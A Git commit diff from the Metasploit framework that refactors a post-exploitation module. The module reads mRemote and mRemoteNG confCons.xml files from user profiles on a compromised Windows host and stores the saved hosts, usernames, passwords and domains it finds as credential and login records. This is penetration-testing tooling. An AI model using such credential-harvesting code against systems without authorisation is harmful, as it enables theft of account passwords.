Merge pull request #29 from rapid7/feature/MSP-9739/mremote_refactor

Feature/msp 9739/mremote refactor

MSP-9739 #land
bug/bundler_fix
Trevor Rosen 2014-06-02 11:05:20 -05:00
commit d9fd77fba7
1 changed files with 42 additions and 10 deletions

View File

@ -41,8 +41,10 @@ class Metasploit3 < Msf::Post
grab_user_profiles().each do |user|
next if user['LocalAppData'] == nil
tmpath= user['LocalAppData'] + '\\Felix_Deimel\\mRemote\\confCons.xml'
tmpath = user['LocalAppData'] + '\\Felix_Deimel\\mRemote\\confCons.xml'
ng_path = user['LocalAppData'] + '\\..\\Roaming\\mRemoteNG\\confCons.xml'
get_xml(tmpath)
get_xml(ng_path)
end
end
@ -56,7 +58,7 @@ class Metasploit3 < Msf::Post
end
parse_xml(condata)
print_status("Finished processing #{path}")
rescue
rescue Rex::Post::Meterpreter::RequestError
print_status("The file #{path} either could not be read or does not exist")
end
@ -84,14 +86,44 @@ class Metasploit3 < Msf::Post
else
source_id = nil
end
report_auth_info(
:host => host,
:port => port,
:sname => proto,
:source_id => source_id,
:source_type => "exploit",
:user => user,
:pass => pass)
service_data = {
address: host,
port: port,
service_name: proto,
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: self.refname,
private_type: :password,
private_data: pass,
username: user
}
unless domain.blank?
credential_data[:realm_key] = Metasploit::Credential::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
credential_data[:realm_value] = domain
end
credential_data.merge!(service_data)
# Create the Metasploit::Credential::Core object
credential_core = create_credential(credential_data)
# Assemble the options hash for creating the Metasploit::Credential::Login object
login_data ={
core: credential_core,
status: Metasploit::Credential::Login::Status::UNTRIED
}
# Merge in the service data and create our Login
login_data.merge!(service_data)
login = create_credential_login(login_data)
end
end